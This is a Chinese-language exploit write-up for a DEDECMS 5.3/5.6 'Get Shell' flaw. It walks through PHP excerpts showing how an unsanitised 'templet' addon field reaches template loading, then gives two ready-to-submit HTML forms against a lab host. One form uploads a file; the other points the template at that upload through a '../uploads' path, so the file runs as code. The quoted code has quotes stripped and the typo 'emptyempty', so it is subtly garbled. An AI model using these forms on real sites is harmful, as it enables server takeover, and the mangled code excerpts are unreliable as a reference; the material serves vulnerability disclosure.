DEDECMS 5.6最新Get Shell漏洞 DEDECMS 5.3/5.6

........................
else if($dopost==save)
{
include(DEDEMEMBER./inc/archives_check.php);
//分析处理附加表数据
$inadd_f = $inadd_v = ;
if(!emptyempty($dede_addonfields))
{
$addonfields = explode(;,$dede_addonfields);
............................................ //省略部份代码
$inadd_f .= ,.$vs[0];
$inadd_v .= " ,".${$vs[0]}." ";
}
}
}
..........................................
$addtable = trim($cInfos[addtable]);
if(emptyempty($addtable))
{
......................................
}
else
{
$inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values($arcID,$typeid,$userip,,,$body{$inadd_v})";
if(!$dsql->ExecuteNoneQuery($inquery))
{
..........................................
}
}
..........................................
$artUrl = MakeArt($arcID,true); //利用地方(arc.archives.functions.php有定义)
function MakeArt($aid,$ismakesign=false)
{
global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
include_once(DEDEINC./arc.archives.class.php);
if($ismakesign)
{
$envs[makesign] = yes;
}
$arc = new Archives($aid);
$reurl = $arc->MakeHtml(); //arc.archives.class.php有定义
............................
}

class Archives
{
................
function __construct($aid)
{
............
if($this->ChannelUnit->ChannelInfos[addtable]!=)
{
$query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos[addtable]}` WHERE `aid` = $aid";
$this->addTableRow = $this->dsql->GetOne($query);
}
........................
if($this->ChannelUnit->ChannelInfos[addtable]!= && $this->ChannelUnit->ChannelInfos[issystem]!=-1)
{
if(is_array($this->addTableRow))
{
...............................
$this->Fields[templet] = $this->addTableRow[templet];//注意1
......................................
}
}
.............................
}
function MakeHtml($isremote=0)
{
global $cfg_remote_site,$fileFirst;
if($this->IsError)
{
return ;
}
$this->Fields["displaytype"] = "st";
//预编译$th
$this->LoadTemplet(); //触发1
......................................//省略部份代码
$this->arseDMFields($i,1);
$this->dtp->SaveTo($truefilename); //触发2
......................................
}
继续跟(触发1)$this->LoadTemplet(); //arc.archives.class.php有定义
function LoadTemplet()
{
if($this->TempSource==)
{
$tempfile = $this->GetTempletFile(); //注意2
if(!file_exists($tempfile) || !is_file($tempfile))
{
echo "文档ID：{$this->Fields[id]} - {$this->TypeLink->TypeInfos[typename]} - {$this->Fields[title]}
";
echo "模板文件不存在，无法解析文档！";
exit();
}
$this->dtp->LoadTemplate($tempfile); //触发3
$this->TempSource = $this->dtp->SourceString;
}
else
{
$this->dtp->LoadSource($this->TempSource);
}
}
看注意2 的$this->GetTempletFile() //arc.archives.class.php有定义
function GetTempletFile()
{
global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
$cid = $this->ChannelUnit->ChannelInfos[nid];
if(!emptyempty($this->Fields[templet])) //注意3
{
$filetag = MfTemplet($this->Fields[templet]);
if( !ereg(/, $filetag) ) $filetag = $GLOBALS[cfg_df_style]./.$filetag;
}
else
{
$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
}
.......................................
if($cid==spec)
{
if( !emptyempty($this->Fields[templet]) )
{
$tmpfile = $cfg_basedir.$cfg_templets_dir./.$filetag;
}
else
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
}
}
...........................................
return $tmpfile;
}

......................
else if($dopost==save)
{ ....................
if(!emptyempty($dede_addonfields))
{
$addonfields = explode(;,$dede_addonfields);
if(is_array($addonfields))
{
........................
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
$inadd_f .= ,.$vs[0]." =".${$vs[0]}." ";
}
}
...................
if($addtable!=)
{
$upQuery = "Update `$addtable` set typeid=$typeid,body=$body{$inadd_f},userip=$userip where aid=$aid ";
if(!$dsql->ExecuteNoneQuery($upQuery))
{..............
}
}
....................
}

<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" "> 2. <input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" /> 4. <input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" /> 6. <input name="title" type="hidden" id="title" value="1.jpg"
class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/> 8. <button class="button2" type="submit" >更改</button>
</form>

<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" /> 3. <input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" /> 5. <input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" /> 7. <input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100"
class="intxt"/> 9. <input type="text" name="writer" id="writer" value="123456" maxlength="100"
class="intxt" style="width:219px"/>
<select name=typeid size=1> 11. <option value=1
class=option3 selected=>Test</option>
<select name=mtypesid size=1> 13. <option value=0 selected>请选择分类...</option>
<option value=1
class=option3 selected>aa</option></select> 15. <textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type=hidden name=dede_addonfields value="templet"> 17. <input type=hidden name=templet value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> 19. <button class="button2" type="submit">提交</button>
</form>